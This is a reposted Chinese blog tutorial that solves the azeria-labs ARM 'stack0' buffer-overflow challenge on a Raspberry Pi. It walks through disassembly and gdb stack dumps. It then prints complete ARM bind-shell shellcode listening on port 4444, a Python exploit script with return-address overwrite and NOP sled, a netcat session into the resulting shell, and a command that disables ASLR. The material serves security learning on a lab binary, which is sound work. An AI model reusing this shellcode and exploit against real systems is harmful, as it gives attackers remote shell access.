轉(zhuǎn)自:安全課傳送門
引言
經(jīng)過很長一段時間在azeria-labs進(jìn)行的ARM基礎(chǔ)匯編學(xué)習(xí),學(xué)到了很多ARM匯編的基礎(chǔ)知識、和簡單的shellcode的編寫,為了驗證自己的學(xué)習(xí)成果,根據(jù)該網(wǎng)站提供的實例,做一次比較詳細(xì)的逆向分析,和shellcode的實現(xiàn),為自己的ARM入門學(xué)習(xí)鞏固。
實例下載地址:git clone https://github.com/azeria-labs/ARM-challenges.git
調(diào)試環(huán)境:Linux raspberrypi 4.4.34+ #3 Thu Dec 1 14:44:23 IST 2016 armv6l GNU/Linux+GNU gdb (Raspbian 7.7.1+dfsg-5+rpi1) 7.7.1(這些都是按照網(wǎng)站教程安裝的如果自己有ARM架構(gòu)的操作系統(tǒng)也是可以的)
stack0
第一步,我們先看看文件的信息file stack0,從返回信息可以看出該程序是一個32位可執(zhí)行程序,從最后的not stripped可以看出這個程序的符號信息,具體有關(guān)stripped詳細(xì)介紹可以百度
stack0: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 2.6.32, BuildID[sha1]=1171fa6db1d5176af44d6d462427f8d244bd82c8, not stripped
下面我們給他執(zhí)行權(quán)限chmod +x stack0,然后執(zhí)行它,會發(fā)現(xiàn)需要你的輸入,表明這里使用了gets、scanf之類的輸入方法,這些方法存在的地方就有溢出的風(fēng)險,我們嘗試構(gòu)造一長一短的字符串,來測試一下。
短的字符串輸出的讓你重試的字樣。
長的字符串,明顯可以看出我們輸入的值更改了變量導(dǎo)致,并且覆蓋了返回地址,導(dǎo)致拋出Segmentation fault(訪問了不可訪問的內(nèi)存,這個內(nèi)存要么是不存在的,要么是受系統(tǒng)保護(hù)的)異常

分析出它存在溢出漏洞,現(xiàn)在我們就需要進(jìn)入他的內(nèi)部世界,徹底的洞悉它
首先我們需要找到他的入口函數(shù),因為他沒有刪除符號數(shù)據(jù),我們直接執(zhí)行nm stack0,可以看到入口點、調(diào)用的庫函數(shù)等信息,很明顯入口點應(yīng)該是main函數(shù),我們來gdb走一波
U abort@@GLIBC_2.4
00020684 B __bss_end__
00020684 B _bss_end__
00020680 B __bss_start
00020680 B __bss_start__
00010360 t call_weak_fn
00020680 b completed.9004
00020678 D __data_start
00020678 W data_start
00010384 t deregister_tm_clones
000103ec t __do_global_dtors_aux
00020564 t __do_global_dtors_aux_fini_array_entry
0002067c D __dso_handle
0002056c d _DYNAMIC
00020680 D _edata
00020684 B _end
00020684 B __end__
00010510 T _fini
00010414 t frame_dummy
00020560 t __frame_dummy_init_array_entry
0001055c r __FRAME_END__
U gets@@GLIBC_2.4
00020654 d _GLOBAL_OFFSET_TABLE_
w __gmon_start__
000102c8 T _init
00020564 t __init_array_end
00020560 t __init_array_start
00010518 R _IO_stdin_used
w _ITM_deregisterTMCloneTable
w _ITM_registerTMCloneTable
00020568 d __JCR_END__
00020568 d __JCR_LIST__
w _Jv_RegisterClasses
0001050c T __libc_csu_fini
000104a8 T __libc_csu_init
U __libc_start_main@@GLIBC_2.4
0001044c T main
U puts@@GLIBC_2.4
000103b4 t register_tm_clones
00010324 T _start
00020680 D __TMC_END__
gdb stack0
gef>disas stack0,我們可以看見得到main函數(shù)的反匯編代碼,但是有一點不爽的是一些庫函數(shù)API名稱沒
有顯示出來,這里提供兩種解決思路:
-
升級gdb版本(百度、google找教程,我升級到8.2版本是可以顯示的。
這里有點奇怪的是,我的版本已經(jīng)很高了,但是對這個二進(jìn)制文件還是不能識別庫函數(shù)并顯示并且stripped前后都顯示不了,但是對于有些二進(jìn)制文件它又可以顯示,如果有大佬知道,希望在評論里幫助解惑一下,thanks) - objdump 了解一下,這里我主要用的是objdump
Dump of assembler code for function main:
0x0001044c <+0>: push {r11, lr}
0x00010450 <+4>: add r11, sp, #4
0x00010454 <+8>: sub sp, sp, #80 ; 0x50
0x00010458 <+12>: str r0, [r11, #-80] ; 0x50
0x0001045c <+16>: str r1, [r11, #-84] ; 0x54
0x00010460 <+20>: mov r3, #0
0x00010464 <+24>: str r3, [r11, #-8]
0x00010468 <+28>: sub r3, r11, #72 ; 0x48
0x0001046c <+32>: mov r0, r3
0x00010470 <+36>: bl 0x102e8
0x00010474 <+40>: ldr r3, [r11, #-8]
0x00010478 <+44>: cmp r3, #0
0x0001047c <+48>: beq 0x1048c <main+64>
0x00010480 <+52>: ldr r0, [pc, #24] ; 0x104a0 <main+84>
0x00010484 <+56>: bl 0x102f4
0x00010488 <+60>: b 0x10494 <main+72>
0x0001048c <+64>: ldr r0, [pc, #16] ; 0x104a4 <main+88>
0x00010490 <+68>: bl 0x102f4
0x00010494 <+72>: mov r0, r3
0x00010498 <+76>: sub sp, r11, #4
0x0001049c <+80>: pop {r11, pc}
0x000104a0 <+84>: andeq r0, r1, r12, lsl r5
0x000104a4 <+88>: andeq r0, r1, r8, asr #10
End of assembler dump.
objdump打印的結(jié)果,下面省略了一些顯示,把主要分析的部分放出來,并且可以看到所有區(qū)段的反匯編代碼和地址,這樣我們對照著這個輸出信息,即可
stack0: file format elf32-littlearm
Disassembly of section .init:
000102c8 <_init>:
102c8: e92d4008 push {r3, lr}
102cc: eb000023 bl 10360 <call_weak_fn>
102d0: e8bd8008 pop {r3, pc}
Disassembly of section .plt:
000102d4 <gets@plt-0x14>:
102d4: e52de004 push {lr} ; (str lr, [sp, #-4]!)
102d8: e59fe004 ldr lr, [pc, #4] ; 102e4 <_init+0x1c>
102dc: e08fe00e add lr, pc, lr
102e0: e5bef008 ldr pc, [lr, #8]!
102e4: 00010370 .word 0x00010370
000102e8 <gets@plt>:
102e8: e28fc600 add ip, pc, #0, 12
102ec: e28cca10 add ip, ip, #16, 20 ; 0x10000
102f0: e5bcf370 ldr pc, [ip, #880]! ; 0x370
000102f4 <puts@plt>:
102f4: e28fc600 add ip, pc, #0, 12
102f8: e28cca10 add ip, ip, #16, 20 ; 0x10000
102fc: e5bcf368 ldr pc, [ip, #872]! ; 0x368
00010300 <__libc_start_main@plt>:
10300: e28fc600 add ip, pc, #0, 12
10304: e28cca10 add ip, ip, #16, 20 ; 0x10000
10308: e5bcf360 ldr pc, [ip, #864]! ; 0x360
0001030c <__gmon_start__@plt>:
1030c: e28fc600 add ip, pc, #0, 12
10310: e28cca10 add ip, ip, #16, 20 ; 0x10000
10314: e5bcf358 ldr pc, [ip, #856]! ; 0x358
00010318 <abort@plt>:
10318: e28fc600 add ip, pc, #0, 12
1031c: e28cca10 add ip, ip, #16, 20 ; 0x10000
10320: e5bcf350 ldr pc, [ip, #848]! ; 0x350
Disassembly of section .text:
00010324 <_start>:
10324: e3a0b000 mov fp, #0
10328: e3a0e000 mov lr, #0
1032c: e49d1004 pop {r1} ; (ldr r1, [sp], #4)
10330: e1a0200d mov r2, sp
10334: e52d2004 push {r2} ; (str r2, [sp, #-4]!)
10338: e52d0004 push {r0} ; (str r0, [sp, #-4]!)
1033c: e59fc010 ldr ip, [pc, #16] ; 10354 <_start+0x30>
10340: e52dc004 push {ip} ; (str ip, [sp, #-4]!)
10344: e59f000c ldr r0, [pc, #12] ; 10358 <_start+0x34>
10348: e59f300c ldr r3, [pc, #12] ; 1035c <_start+0x38>
1034c: ebffffeb bl 10300 <__libc_start_main@plt> ;這個庫函數(shù)獲取了main函數(shù)的地址,開啟了main函數(shù)的執(zhí)行流程
10350: ebfffff0 bl 10318 <abort@plt>
10354: 0001050c .word 0x0001050c
10358: 0001044c .word 0x0001044c ;很明顯這是main函數(shù)的地址
1035c: 000104a8 .word 0x000104a8
...............
0001044c <main>:
1044c: e92d4800 push {fp, lr}
10450: e28db004 add fp, sp, #4
10454: e24dd050 sub sp, sp, #80 ; 0x50
10458: e50b0050 str r0, [fp, #-80] ; 0xffffffb0
1045c: e50b1054 str r1, [fp, #-84] ; 0xffffffac
10460: e3a03000 mov r3, #0
10464: e50b3008 str r3, [fp, #-8]
10468: e24b3048 sub r3, fp, #72 ; 0x48
1046c: e1a00003 mov r0, r3
10470: ebffff9c bl 102e8 <gets@plt>
10474: e51b3008 ldr r3, [fp, #-8]
10478: e3530000 cmp r3, #0
1047c: 0a000002 beq 1048c <main+0x40>
10480: e59f0018 ldr r0, [pc, #24] ; 104a0 <main+0x54>
10484: ebffff9a bl 102f4 <puts@plt>
10488: ea000001 b 10494 <main+0x48>
1048c: e59f0010 ldr r0, [pc, #16] ; 104a4 <main+0x58>
10490: ebffff97 bl 102f4 <puts@plt>
10494: e1a00003 mov r0, r3
10498: e24bd004 sub sp, fp, #4
1049c: e8bd8800 pop {fp, pc}
104a0: 0001051c .word 0x0001051c
104a4: 00010548 .word 0x00010548
..............
下面進(jìn)行逐步分析:
- 保存了
當(dāng)前棧幀的返回地址和上一個棧幀的幀地址。
將幀指針r11指向當(dāng)前棧幀頂部的返回地址
壓棧操作,壓入大小為80字節(jié)的空間,為變量、參數(shù)準(zhǔn)備的臨時存放空間。
將r0, r1進(jìn)行入棧操作,并且放在棧頂的位置,這是上一個棧幀的變量,我們需要保護(hù)起來。
0x0001044c <+0>: push {r11, lr}
0x00010450 <+4>: add r11, sp, #4
0x00010454 <+8>: sub sp, sp, #80 ; 0x50
0x10458 <main+12> str r0, [r11, #-80] ; 0x50
- 給
r3寄存器賦0值,然后將r3內(nèi)的0存放到r11-8內(nèi)存地址指向的空間,這個地址是臨著上一個棧幀的幀指針r11-4(r11是當(dāng)前棧幀的幀指針,指向當(dāng)前棧幀頂部,頂部存放著返回地址)
0x1045c <main+16> str r1, [r11, #-84] ; 0x54
0x10460 <main+20> mov r3, #0
0x10464 <main+24> str r3, [r11, #-8]
- 將r11-0x48(
0xbefff0e4)的地址通過r3賦值給r0,然后作為參數(shù)傳進(jìn)gets函數(shù)中執(zhí)行,這個函數(shù)會將用戶輸入的內(nèi)容,存放到0xbefff0e4這個地址空間中
-> 0x10468 <main+28> sub r3, r11, #72 ; 0x48,上一個指針的兩個變量存儲用了8字節(jié)空間,剛好從r11-72的地址開始給當(dāng)前棧幀的
;參數(shù)使用
0x1046c <main+32> mov r0, r3
0x10470 <main+36> bl 0x102e8 <gets@plt>
- 開始輸入字符串,測試溢出
下面顯示地址空間存儲的值,0xbefff0e4地址是存放用戶輸入字符串開始的位置,下面我們嘗試輸入不同的字符來看下面這些地址存放的值的變化
gef> x/19x 0xbefff0e4
0xbefff0e4: 0xb6ffbfc4 0x00000003 0xb6e77be8 0x00000000
0xbefff0f4: 0xb6e779f8 0xbefff130 0xb6fd618c 0x00000000
0xbefff104: 0x00000000 0x00010414 0x000104f8 0xb6fb2ba0
0xbefff114: 0x000104a8 0x00000000 0x00010324 0x00000000
0xbefff124: 0x00000000 0x00000000 0xb6e8c294
嘗試輸入4個1后的結(jié)果輸出,很明顯0xb6ffbfc4 0x00000003中前四個字節(jié)被0x31313131(1的16進(jìn)制)覆蓋了,0x00000003這個值內(nèi)的03被gets函數(shù)默認(rèn)用0x00覆蓋用來標(biāo)志字符串的結(jié)尾
gef> x/19x 0xbefff0e4
0xbefff0e4: 0x31313131 0x00000000 0xb6e77be8 0x00000000
0xbefff0f4: 0xb6e779f8 0xbefff130 0xb6fd618c 0x00000000
0xbefff104: 0x00000000 0x00010414 0x000104f8 0xb6fb2ba0
0xbefff114: 0x000104a8 0x00000000 0x00010324 0x00000000
0xbefff124: 0x00000000 0x00000000 0xb6e8c294
下面我們直接輸入足夠的長度,一直到返回地址處,根據(jù)上面的sub r3, r11, #72語句,將r11-72出作為存放用戶輸入的初始地址,可以知道,輸入的長度至少72,這樣0xb6e8c294最低位94會被00覆蓋,下面我們進(jìn)行輸入72個1的覆蓋,很明顯我們?nèi)缥覀兯?。(可以多輸入幾個字符完全覆蓋,因為只覆蓋最低位兩個字符,可能依然會存在該地址,而導(dǎo)致不能實現(xiàn)程序的崩潰)
0xbefff0e4: 0x31313131 0x31313131 0x31313131 0x31313131
0xbefff0f4: 0x31313131 0x31313131 0x31313131 0x31313131
0xbefff104: 0x31313131 0x31313131 0x31313131 0x31313131
0xbefff114: 0x31313131 0x31313131 0x31313131 0x31313131
0xbefff124: 0x31313131 0x31313131 0xb6e8c200
- 最后一步---
shellcode。構(gòu)造一個shellcode來利用這個溢出漏洞,最一個完美的結(jié)尾。具體shellcode編寫可以參考我的另一篇文章:http://www.itdecent.cn/p/16f1c9fe8541
shellcode代碼---BindShell
.section .text
.global _start
_start:
.code 32
//arm set switch thumb set
add r3, pc, #1
bx r3
.code 16
//create a socket
mov r0, #2
mov r1, #1
sub r2, r2, r2
mov r7, #200
add r7, #81
svc #1
//bind local address
mov r4, r0
adr r1, local_addr
strb r2, [r1, #1]
strh r2, [r1, #4]
nop
strb r2, [r1, #6]
strb r2, [r1, #7]
mov r2, #16
add r7, #1
svc #1
//start listen,wait for connection
mov r0, r4
mov r1, #2
add r7, #2
svc #1
//accept first connection
mov r0, r4
eor r1, r1, r1
eor r2, r2, r2
add r7, #1
svc #1
mov r4, r0
//change stdin/stdout/stderr to /bin/sh
mov r0, r4
sub r1, r1, r1
mov r7, #63
svc #1
mov r0, r4
mov r1, #1
svc #1
mov r0, r4
mov r1, #2
svc #1
//execve("/bin/sh")
adr r0, bin_sh
eor r1, r1, r1
eor r2, r2, r2
strb r2, [r0, #7]
mov r7, #11
svc #1
local_addr:
.ascii "\x02\xff"
.ascii "\x11\x5c"
.byte 1,1,1,1
bin_sh:
.ascii "/bin/shX"
hexdump -v -e '"\\""x" /1 "%02x" ""' bindshell.bin生成十六進(jìn)制的shellcode
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x11\xa1\x4a\x70\x8a\x80\xc0\x46\x8a\x71\xca\x71\x10\x22\x01\x37\x01\xdf\x20\x1c\x02\x21\x02\x37\x01\xdf\x20\x1c\x49\x40\x52\x40\x01\x37\x01\xdf\x04\x1c\x20\x1c\x49\x1a\x3f\x27\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x04\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\x01\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58
寫好shellcode之后,我們需要找到合適的位置,存放好shellcode保證程序可以正常執(zhí)行shellcode,根據(jù)上面的分析,可以得到返回地址0xb6e8c294存放的內(nèi)存地址是0xbefff124+8=0xbefff12c,而我們溢出的數(shù)據(jù)會一直向棧空間下面延伸,所以我們可以將返回地址改成0xbefff12c+4的位置,這樣就會執(zhí)行到后面的shellcode代碼
0xbefff124: 0x00000000 0x00000000 0xb6e8c294
第一步:現(xiàn)將返回地址覆蓋為0xbefff130,這里我使用python腳本來實現(xiàn)填充字符、和返回地址的覆蓋。然后python poc.py >exp,把shellcode寫入exp文件,在gdb里使用r < exp命令,把exp文件作為輸入,來執(zhí)行stack0文件??梢钥吹?code>r11指向的返回地址,存儲的值剛好是下一個棧地址
poc.py
port struct
padding = "111111111111111111111111111111111111111111111111111111111111111111111111"
//把0xbefff130轉(zhuǎn)成字符串,格式為`I`unsigned int(四字節(jié)長度剛好)
return_addr = struct.pack("I", 0xbefff130)
print padding + return_addr
結(jié)果:
0xbefff128|+0x0000: 0x31313131 <-$sp
0xbefff12c|+0x0004: 0xbefff130 -> 0xb6fb1000 -> 0x0013cf20 <-$r11
0xbefff130|+0x0008: 0xb6fb1000 -> 0x0013cf20
然后在python腳本內(nèi)再添加shellcode后,完整的腳本如下:
import struct
padding = "111111111111111111111111111111111111111111111111111111111111111111111111"
return_addr = struct.pack("I", 0xbefff130)
payload = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x11\xa1\x4a\x70\x8a\x80\xc0\x46\x8a\x71\xca\x71\x10\x22\x01\x37\x01\xdf\x20\x1c\x02\x21\x02\x37\x01\xdf\x20\x1c\x49\x40\x52\x40\x01\x37\x01\xdf\x04\x1c\x20\x1c\x49\x1a\x3f\x27\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x04\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\x01\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58"
print padding + return_addr + payload
當(dāng)我們使用gdb運行r < exp調(diào)試的時候,查詢端口可以看見,4444端口已經(jīng)開始偵聽,exp成功執(zhí)行
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN
這個時候我們使用nc -vv 127.0.0.1 4444,遠(yuǎn)程連接,客戶端和服務(wù)端成功連接上,執(zhí)行命令也成功返回
客戶端返回:
pi@raspberrypi:~/Desktop $ nc -vv 127.0.0.1 4444
Connection to 127.0.0.1 4444 port [tcp/*] succeeded!
whoami
pi
ps
PID TTY TIME CMD
572 pts/0 00:00:33 bash
6522 pts/0 00:00:06 gdb
6526 pts/0 00:00:00 sh
6534 pts/0 00:00:00 ps
服務(wù)端返回結(jié)果,顯示開啟了一個新的進(jìn)程來運行/bin/sh
gef> r < exp
Starting program: /home/pi/Desktop/ARM-challenges/stack0 < exp
you have changed the 'modified' variable
process 6526 is executing new program: /bin/dash
- 環(huán)境變量的影響---NOP技術(shù),生成新進(jìn)程的問題
針對第6步的調(diào)試成功之后,當(dāng)我們直接運行./stack0 <exp的時候,返回錯誤如下。所以我們單開最后一個步驟,來處理出現(xiàn)的問題。這個問題主要的原因就是棧內(nèi)環(huán)境變量不同導(dǎo)致棧發(fā)生了小幅度的偏移,影響了shellcode的位置。
you have changed the 'modified' variable
Segmentation fault
我們使用gdb /home/pi/Desktop/ARM-challenges/stack0和gdb ./stack0來調(diào)試完整路徑下的程序,并且在執(zhí)行shellcode前設(shè)置斷點,并且定義hook-stop來在執(zhí)行斷點前打印棧數(shù)據(jù),運行r<exp后觀察返回的棧數(shù)據(jù),很明顯棧數(shù)據(jù)發(fā)生了很大的變化
gef> define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>x/8wx $sp
>end
返回棧數(shù)據(jù)結(jié)果
gdb ./stack0
0xbefff128: 0x31313131 0xbefff130 0xe28f3001 0xe12fff13
0xbefff138: 0x21012002 0x27c81a92 0xdf013751 0xa1111c04
gdb /home/pi/Desktop/ARM-challenges/stack0
0xbefff138: 0x00000000 0xb6e8c294 0xb6fb1000 0xbefff294
0xbefff148: 0x00000001 0x0001044c 0xb6ffe0b8 0xb6ffddc0
下面嘗試打印1000行棧數(shù)據(jù)x/1000s $sp,觀察不同,具體不同的地方就是存放環(huán)境變量的地方,如下所示,地址0xbefffcdd的數(shù)據(jù)還是相同的,但是因為pwd變量的長度不一致,導(dǎo)致了需用用更多的??臻g存儲多余的數(shù)據(jù),所以從這往后,棧內(nèi)數(shù)據(jù)發(fā)生了變化
gdb ./stack0的輸出
0xbefffc8c: "_=/usr/bin/gdb"
0xbefffc9b: "LC_IDENTIFICATION=zh_CN.UTF-8"
0xbefffcb9: "PWD=/home/pi/Desktop/ARM-challenges"
0xbefffcdd: "LANG=en_GB.UTF-8"
gdb /home/pi/Desktop/ARM-challenges/stack0的輸出
0xbefffc9b: "_=/usr/bin/gdb"
0xbefffcaa: "LC_IDENTIFICATION=zh_CN.UTF-8"
0xbefffcc8: "PWD=/home/pi/Desktop"
0xbefffcdd: "LANG=en_GB.UTF-8"
具體解決方案:
- 執(zhí)行前刪除環(huán)境變量
shell$ env -i ./stack0
(gdb) unset env
-
NOP:使用NOP滑到我們的shellcode處,然后我們將加入100個NOP到shellcode中,下面這個python腳本才是最終的腳本!
import struct
padding = "111111111111111111111111111111111111111111111111111111111111111111111111"
return_addr = struct.pack("I", 0xbefff130)
payload = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x11\xa1\x4a\x70\x8a\x80\xc0\x46\x8a\x71\xca\x71\x10\x22\x01\x37\x01\xdf\x20\x1c\x02\x21\x02\x37\x01\xdf\x20\x1c\x49\x40\x52\x40\x01\x37\x01\xdf\x04\x1c\x20\x1c\x49\x1a\x3f\x27\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x04\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\x01\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58"
print padding + return_addr + "\x90"*100 + payload
至此我們解決了環(huán)境變量引起的棧數(shù)據(jù)移動問題,當(dāng)我們在次執(zhí)行./stack0 < exp
you have changed the 'modified' variable
Segmentation fault
由這個問題引入一個概念ASLRAddress Space Layout Randomization,地址空間布局隨機(jī)化
Linux 平臺上 ASLR 分為 0,1,2 三級,用戶可以通過一個內(nèi)核參數(shù) randomize_va_space 進(jìn)行等級控制。它們對應(yīng)的效果如下。更詳細(xì)的介紹大家百度
- 0:沒有隨機(jī)化。即關(guān)閉 ASLR。
- 1:保留的隨機(jī)化。共享庫、棧、mmap() 以及 VDSO 將被隨機(jī)化。
- 2:完全的隨機(jī)化。在 1 的基礎(chǔ)上,通過 brk() 分配的內(nèi)存空間也將被隨機(jī)化
這里我們使用命令來改變這個值:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
下面就是見證奇跡的時候了:

小結(jié)
至此本篇paper基本完成,這個實例其實是很入門的東西,但是整套流程坐下來,卻很有意義,希望給大家一些幫助。當(dāng)然,過程中遇見了很多的問題,學(xué)習(xí)的路上很枯燥,我們需要耐著性子穩(wěn)步前行,做完這個例子我收獲了很多,感謝自己、也感謝幫我的優(yōu)秀老鐵:大毛腿
附錄文章:
[1] ARM匯編學(xué)習(xí)網(wǎng)站https://azeria-labs.com/writing-arm-assembly-part-1/
[2] 實戰(zhàn)樣本下載地址https://github.com/azeria-labs/ARM-challenges.git
[3] shellcode學(xué)習(xí)編寫地址http://www.itdecent.cn/p/16f1c9fe8541
[4] 在溢出中使用shellcode教程https://www.youtube.com/98c2a1d3-3d69-4931-9f27-bd457a464f38